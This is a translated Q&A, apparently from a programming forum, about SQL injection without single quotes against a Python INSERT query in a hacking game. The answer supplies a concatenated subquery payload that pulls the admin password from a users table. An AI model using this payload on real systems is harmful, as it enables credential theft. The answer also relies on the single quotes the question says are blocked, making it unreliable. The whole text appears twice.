SQL 没有单引号的注入
SQL injection without single quotes
有没有办法在不使用单引号 '
的情况下进行 SQL 注入?
我看了很多问题,但它们都是关于单引号转义的,或者它们不包含解决方案 (SQL Injection after removing all single-quotes and dash-characters)。
我正在做一个黑客游戏,基本上我必须从数据库中提取密码,我试图通过利用这个查询来做到这一点:
query = text("INSERT INTO data_table VALUES ([other values], '%s')" % data)
db.engine.execute(query, user=username)
正在尝试将数据设置为:
'SELECT password FROM users WHERE username="admin" '
我认为应该以这种方式执行 select 并将其结果存储为数据(我可以轻松地从网站上读回该数据)。
问题是在上传进入数据的值时我不能使用单引号'
(系统显示错误,我必须选择另一个值)。
有没有办法在没有单引号的情况下执行类似的注入?
此 SELECT 必须作为括在括号中的标量子查询传递。
如果 date
只是与 text
连接,则将其设置为
' || (SELECT password FROM users WHERE username='admin') || '
结果
INSERT INTO data_table VALUES ([other values], '' || (SELECT password FROM users WHERE username='admin') || '')
这是有效的 SQL 连接空字符串和 SELECT 的结果。现在 DBMS 将愉快地执行它:-)
有没有办法在不使用单引号 '
的情况下进行 SQL 注入?
我看了很多问题,但它们都是关于单引号转义的,或者它们不包含解决方案 (SQL Injection after removing all single-quotes and dash-characters)。
我正在做一个黑客游戏,基本上我必须从数据库中提取密码,我试图通过利用这个查询来做到这一点:
query = text("INSERT INTO data_table VALUES ([other values], '%s')" % data)
db.engine.execute(query, user=username)
正在尝试将数据设置为:
'SELECT password FROM users WHERE username="admin" '
我认为应该以这种方式执行 select 并将其结果存储为数据(我可以轻松地从网站上读回该数据)。
问题是在上传进入数据的值时我不能使用单引号'
(系统显示错误,我必须选择另一个值)。
有没有办法在没有单引号的情况下执行类似的注入?
此 SELECT 必须作为括在括号中的标量子查询传递。
如果 date
只是与 text
连接,则将其设置为
' || (SELECT password FROM users WHERE username='admin') || '
结果
INSERT INTO data_table VALUES ([other values], '' || (SELECT password FROM users WHERE username='admin') || '')
这是有效的 SQL 连接空字符串和 SELECT 的结果。现在 DBMS 将愉快地执行它:-)